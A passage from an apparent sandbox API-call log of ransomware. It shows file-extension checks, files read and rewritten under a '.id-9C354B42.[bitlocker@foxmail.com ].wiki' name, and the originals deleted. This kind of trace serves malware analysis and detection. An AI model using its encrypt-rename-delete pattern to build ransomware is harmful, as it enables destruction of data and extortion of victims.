[0050.544] lstrlenW (lpString=".doc") returned 4 [0050.544] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0050.544] lstrlenW (lpString=".docx") returned 5 [0050.544] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0050.544] lstrlenW (lpString=".pdf") returned 4 [0050.544] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0050.544] lstrlenW (lpString=".xls") returned 4 [0050.544] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0050.544] lstrlenW (lpString=".xlsx") returned 5 [0050.544] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0050.544] lstrlenW (lpString=".ppt") returned 4 [0050.544] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0050.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0050.544] lstrlenW (lpString=".zip") returned 4 [0050.544] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0050.544] lstrlenW (lpString=".rar") returned 4 [0050.544] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0050.544] lstrlenW (lpString=".bz2") returned 4 [0050.544] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0050.544] lstrlenW (lpString=".7z") returned 3 [0050.544] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0050.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0050.544] lstrlenW (lpString=".dbf") returned 4 [0050.544] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0050.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0050.545] lstrlenW (lpString=".1cd") returned 4 [0050.545] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0050.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0050.545] lstrlenW (lpString=".jpg") returned 4 [0050.545] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0050.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0050.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0050.545] lstrlenW (lpString=".doc") returned 4 [0050.545] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0050.545] lstrlenW (lpString=".docx") returned 5 [0050.545] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0050.545] lstrlenW (lpString=".pdf") returned 4 [0050.545] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0050.545] lstrlenW (lpString=".xls") returned 4 [0050.545] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0050.545] lstrlenW (lpString=".xlsx") returned 5 [0050.545] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0050.545] lstrlenW (lpString=".ppt") returned 4 [0050.545] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0050.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0050.545] lstrlenW (lpString=".zip") returned 4 [0050.545] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0050.545] lstrlenW (lpString=".rar") returned 4 [0050.545] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0050.545] lstrlenW (lpString=".bz2") returned 4 [0050.545] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0050.545] lstrlenW (lpString=".7z") returned 3 [0050.545] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0050.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0050.546] lstrlenW (lpString=".dbf") returned 4 [0050.546] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0050.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0050.546] lstrlenW (lpString=".1cd") returned 4 [0050.546] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0050.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0050.546] lstrlenW (lpString=".jpg") returned 4 [0050.546] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0050.546] lstrcmpiW (lpString1=".htm", lpString2=".wiki") returned -1 [0050.546] lstrlenW (lpString="Green Bubbles.htm") returned 17 [0050.546] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0050.547] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=237) returned 1 [0050.547] CloseHandle (hObject=0x18c) returned 1 [0050.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm")) returned 0x20 [0050.547] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\green bubbles.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0050.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0050.547] lstrlenW (lpString=".doc") returned 4 [0050.547] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0050.547] lstrlenW (lpString=".docx") returned 5 [0050.547] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0050.547] lstrlenW (lpString=".pdf") returned 4 [0050.547] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0050.547] lstrlenW (lpString=".xls") returned 4 [0050.547] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0050.547] lstrlenW (lpString=".xlsx") returned 5 [0050.547] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0050.547] lstrlenW (lpString=".ppt") returned 4 [0050.548] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0050.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0050.548] lstrlenW (lpString=".zip") returned 4 [0050.548] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0050.548] lstrlenW (lpString=".rar") returned 4 [0050.548] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0050.548] lstrlenW (lpString=".bz2") returned 4 [0050.548] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0050.548] lstrlenW (lpString=".7z") returned 3 [0050.548] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0050.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0050.548] lstrlenW (lpString=".dbf") returned 4 [0050.548] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0050.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0050.548] lstrlenW (lpString=".1cd") returned 4 [0050.548] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0050.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0050.548] lstrlenW (lpString=".jpg") returned 4 [0050.548] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0050.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0050.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0050.548] lstrlenW (lpString=".doc") returned 4 [0050.548] lstrcmpiW (lpString1=".doc", lpString2=".htm") returned -1 [0050.548] lstrlenW (lpString=".docx") returned 5 [0050.548] lstrcmpiW (lpString1=".docx", lpString2="s.htm") returned -1 [0050.548] lstrlenW (lpString=".pdf") returned 4 [0050.548] lstrcmpiW (lpString1=".pdf", lpString2=".htm") returned 1 [0050.548] lstrlenW (lpString=".xls") returned 4 [0050.548] lstrcmpiW (lpString1=".xls", lpString2=".htm") returned 1 [0050.548] lstrlenW (lpString=".xlsx") returned 5 [0050.548] lstrcmpiW (lpString1=".xlsx", lpString2="s.htm") returned -1 [0050.548] lstrlenW (lpString=".ppt") returned 4 [0050.548] lstrcmpiW (lpString1=".ppt", lpString2=".htm") returned 1 [0050.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0050.548] lstrlenW (lpString=".zip") returned 4 [0050.549] lstrcmpiW (lpString1=".zip", lpString2=".htm") returned 1 [0050.549] lstrlenW (lpString=".rar") returned 4 [0050.549] lstrcmpiW (lpString1=".rar", lpString2=".htm") returned 1 [0050.549] lstrlenW (lpString=".bz2") returned 4 [0050.549] lstrcmpiW (lpString1=".bz2", lpString2=".htm") returned -1 [0050.549] lstrlenW (lpString=".7z") returned 3 [0050.549] lstrcmpiW (lpString1=".7z", lpString2="htm") returned -1 [0050.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0050.549] lstrlenW (lpString=".dbf") returned 4 [0050.549] lstrcmpiW (lpString1=".dbf", lpString2=".htm") returned -1 [0050.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0050.549] lstrlenW (lpString=".1cd") returned 4 [0050.549] lstrcmpiW (lpString1=".1cd", lpString2=".htm") returned -1 [0050.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Green Bubbles.htm") returned 75 [0050.549] lstrlenW (lpString=".jpg") returned 4 [0050.549] lstrcmpiW (lpString1=".jpg", lpString2=".htm") returned 1 [0050.549] lstrcmpiW (lpString1=".jpg", lpString2=".wiki") returned -1 [0050.549] lstrlenW (lpString="GreenBubbles.jpg") returned 16 [0050.549] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0050.549] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=6406) returned 1 [0050.549] CloseHandle (hObject=0x18c) returned 1 [0050.549] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0050.550] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.550] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0050.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0050.550] lstrlenW (lpString=".doc") returned 4 [0050.550] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0050.550] lstrlenW (lpString=".docx") returned 5 [0050.550] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0050.550] lstrlenW (lpString=".pdf") returned 4 [0050.550] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0050.550] lstrlenW (lpString=".xls") returned 4 [0050.550] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0050.550] lstrlenW (lpString=".xlsx") returned 5 [0050.550] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0050.550] lstrlenW (lpString=".ppt") returned 4 [0050.550] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0050.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0050.550] lstrlenW (lpString=".zip") returned 4 [0050.550] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0050.550] lstrlenW (lpString=".rar") returned 4 [0050.550] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0050.550] lstrlenW (lpString=".bz2") returned 4 [0050.550] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0050.550] lstrlenW (lpString=".7z") returned 3 [0050.550] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0050.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0050.550] lstrlenW (lpString=".dbf") returned 4 [0050.550] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0050.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0050.550] lstrlenW (lpString=".1cd") returned 4 [0050.550] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0050.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0050.551] lstrlenW (lpString=".jpg") returned 4 [0050.551] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0050.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0050.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0050.551] lstrlenW (lpString=".doc") returned 4 [0050.551] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0050.551] lstrlenW (lpString=".docx") returned 5 [0050.551] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0050.551] lstrlenW (lpString=".pdf") returned 4 [0050.551] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0050.551] lstrlenW (lpString=".xls") returned 4 [0050.551] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0050.551] lstrlenW (lpString=".xlsx") returned 5 [0050.551] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0050.551] lstrlenW (lpString=".ppt") returned 4 [0050.551] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0050.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0050.551] lstrlenW (lpString=".zip") returned 4 [0050.551] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0050.551] lstrlenW (lpString=".rar") returned 4 [0050.551] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0050.551] lstrlenW (lpString=".bz2") returned 4 [0050.551] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0050.551] lstrlenW (lpString=".7z") returned 3 [0050.551] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0050.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0050.551] lstrlenW (lpString=".dbf") returned 4 [0050.551] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0050.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0050.551] lstrlenW (lpString=".1cd") returned 4 [0050.551] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0050.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0050.551] lstrlenW (lpString=".jpg") returned 4 [0050.552] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0050.552] lstrcmpiW (lpString1=".wmf", lpString2=".wiki") returned 1 [0050.552] lstrlenW (lpString="grid_(cm).wmf") returned 13 [0050.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0050.552] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2920) returned 1 [0050.552] CloseHandle (hObject=0x18c) returned 1 [0050.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf")) returned 0x20 [0050.552] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0050.552] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\grid_(cm).wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0050.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0050.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0050.552] lstrlenW (lpString=".doc") returned 4 [0050.552] lstrcmpiW (lpString1=".doc", lpString2=".wmf") returned -1 [0050.552] lstrlenW (lpString=".docx") returned 5 [0050.552] lstrcmpiW (lpString1=".docx", lpString2=").wmf") returned 1 [0050.552] lstrlenW (lpString=".pdf") returned 4 [0050.552] lstrcmpiW (lpString1=".pdf", lpString2=".wmf") returned -1 [0050.552] lstrlenW (lpString=".xls") returned 4 [0050.553] lstrcmpiW (lpString1=".xls", lpString2=".wmf") returned 1 [0050.553] lstrlenW (lpString=".xlsx") returned 5 [0050.553] lstrcmpiW (lpString1=".xlsx", lpString2=").wmf") returned 1 [0050.553] lstrlenW (lpString=".ppt") returned 4 [0050.553] lstrcmpiW (lpString1=".ppt", lpString2=".wmf") returned -1 [0050.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0050.553] lstrlenW (lpString=".zip") returned 4 [0050.553] lstrcmpiW (lpString1=".zip", lpString2=".wmf") returned 1 [0050.553] lstrlenW (lpString=".rar") returned 4 [0050.553] lstrcmpiW (lpString1=".rar", lpString2=".wmf") returned -1 [0050.553] lstrlenW (lpString=".bz2") returned 4 [0050.553] lstrcmpiW (lpString1=".bz2", lpString2=".wmf") returned -1 [0050.553] lstrlenW (lpString=".7z") returned 3 [0050.553] lstrcmpiW (lpString1=".7z", lpString2="wmf") returned -1 [0050.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\grid_(cm).wmf") returned 71 [0050.553] lstrlenW (lpString=".dbf") returned 4 [0050.553] lstrcmpiW (lpString1=".dbf", lpString2=".wmf") returned -1 [0050.931] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.931] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.931] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0050.933] GetLastError () returned 0x0 [0050.933] ReadFile (in: hFile=0x210, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x621, lpOverlapped=0x0) returned 1 [0050.936] WriteFile (in: hFile=0x214, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0x630, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0x630, lpOverlapped=0x0) returned 1 [0050.937] ReadFile (in: hFile=0x210, lpBuffer=0x3b90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.937] WriteFile (in: hFile=0x214, lpBuffer=0x3b90020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b90020*, lpNumberOfBytesWritten=0x300fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.937] SetEndOfFile (hFile=0x214) returned 1 [0050.937] CloseHandle (hObject=0x214) returned 1 [0050.938] SetFilePointerEx (in: hFile=0x210, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.938] SetEndOfFile (hFile=0x210) returned 1 [0050.939] CloseHandle (hObject=0x210) returned 1 [0050.939] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0050.939] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon\\preview.gif")) returned 1 [0050.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0050.939] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0050.939] lstrlenW (lpString=".doc") returned 4 [0050.939] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.940] lstrlenW (lpString=".docx") returned 5 [0050.940] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.940] lstrlenW (lpString=".pdf") returned 4 [0050.940] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.940] lstrlenW (lpString=".xls") returned 4 [0050.940] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.940] lstrlenW (lpString=".xlsx") returned 5 [0050.940] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.940] lstrlenW (lpString=".ppt") returned 4 [0050.940] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0050.940] lstrlenW (lpString=".zip") returned 4 [0050.940] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.940] lstrlenW (lpString=".rar") returned 4 [0050.940] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.940] lstrlenW (lpString=".bz2") returned 4 [0050.940] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.940] lstrlenW (lpString=".7z") returned 3 [0050.940] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0050.940] lstrlenW (lpString=".dbf") returned 4 [0050.940] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0050.940] lstrlenW (lpString=".1cd") returned 4 [0050.940] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0050.940] lstrlenW (lpString=".jpg") returned 4 [0050.940] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0050.940] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0050.940] lstrlenW (lpString=".doc") returned 4 [0050.940] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0050.940] lstrlenW (lpString=".docx") returned 5 [0050.940] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0050.941] lstrlenW (lpString=".pdf") returned 4 [0050.941] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0050.941] lstrlenW (lpString=".xls") returned 4 [0050.941] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0050.941] lstrlenW (lpString=".xlsx") returned 5 [0050.941] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0050.941] lstrlenW (lpString=".ppt") returned 4 [0050.941] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0050.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0050.941] lstrlenW (lpString=".zip") returned 4 [0050.941] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0050.941] lstrlenW (lpString=".rar") returned 4 [0050.941] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0050.941] lstrlenW (lpString=".bz2") returned 4 [0050.941] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0050.941] lstrlenW (lpString=".7z") returned 3 [0050.941] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0050.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0050.941] lstrlenW (lpString=".dbf") returned 4 [0050.941] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0050.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0050.941] lstrlenW (lpString=".1cd") returned 4 [0050.941] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0050.941] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON\\PREVIEW.GIF") returned 76 [0050.941] lstrlenW (lpString=".jpg") returned 4 [0050.941] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0050.941] lstrcmpiW (lpString1=".PNG", lpString2=".wiki") 